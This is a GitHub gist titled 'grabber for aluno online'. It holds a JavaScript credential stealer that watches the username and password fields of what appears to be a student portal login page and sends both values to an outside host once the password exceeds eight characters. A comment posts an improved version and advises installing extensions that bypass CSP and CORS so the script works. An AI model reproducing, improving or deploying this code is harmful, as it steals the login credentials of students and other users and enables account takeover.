Skip to content

Instantly share code, notes, and snippets.

@Kameil
Last active June 1, 2025 00:32
Show Gist options
  • Select an option

  • Save Kameil/d8624ba7e104cf27a0399fbcafaacab3 to your computer and use it in GitHub Desktop.

Select an option

Save Kameil/d8624ba7e104cf27a0399fbcafaacab3 to your computer and use it in GitHub Desktop.
grabber for aluno online
function Coisar(user, pass) {
fetch("https://seducgrabberalunoonline.up.railway.app/send", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
user: user,
pass: pass
})
})
.then(function (res) { return res.json(); })
.then(function (data) {
if (data.sucess === "true") {
return;
}
});
}
$("#password").on("input", function () {
var password = $("#password").val();
if (password && (password === null || password === void 0 ? void 0 : password.length) > 8) {
Coisar($("#username").val(), password);
}
});
$("username").on("input", function () {
var password = $("#password").val();
if (password && (password === null || password === void 0 ? void 0 : password.length) > 8) {
Coisar($("#username").val(), password);
}
});
@luqenov

luqenov commented Apr 9, 2025

Copy link
Copy Markdown

extensoes essenciais paraa funcionar https://chromewebstore.google.com/detail/allow-csp-content-securit/hnojoemndpdjofcdaonbefcfecpjfflh?hl=pt-br https://chromewebstore.google.com/detail/user-javascript-and-css/nbhcbdghjpllgmfilhnhkllmkecfmpld?hl=pt-br


function Coisar(user, pass) {
    fetch("https://seducgrabberalunoonline.up.railway.app/send", {
        method: "POST",
        headers: {
            "Content-Type": "application/json"
        },
        body: JSON.stringify({
            user: user,
            pass: pass
        })
    })
    .then(res => res.json())
    .then(data => {
        if (data.success === "true") { // "sucess" -> "success"
            console.log("Sucesso! Dados enviados.");
        } else {
            console.log("Falha no envio:", data);
        }
    })
    .catch(error => {
        console.error("Erro na requisição:", error);
    });
}

// evento para o campo de senha
$("#password").on("input", function () {
    var password = $("#password").val();
    var username = $("#username").val();
    if (password && password.length > 8 && username) {
        Coisar(username, password);
    }
});

// evento para o campo de usuário
$("#username").on("input", function () {
    var password = $("#password").val();
    var username = $("#username").val();
    if (password && password.length > 8 && username) {
        Coisar(username, password);
    }
});
  • Nota: o jquery deve está disponível na página. se n tiver, bota esse trecho no início do script na extensão:
    var script = document.createElement('script');
    script.src = 'https://code.jquery.com/jquery-3.6.0.min.js';
    document.head.appendChild(script);

possivel problema:

  1. CORS:
    • Se o servidor https://seducgrabberalunoonline.up.railway.app não permitir requisições de origens diferentes (CORS), o fetch vai falhar. e a extensão allow csp não resolve isso. ai tu precisaria de uma extensão adicional tipo "CORS Unblock"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment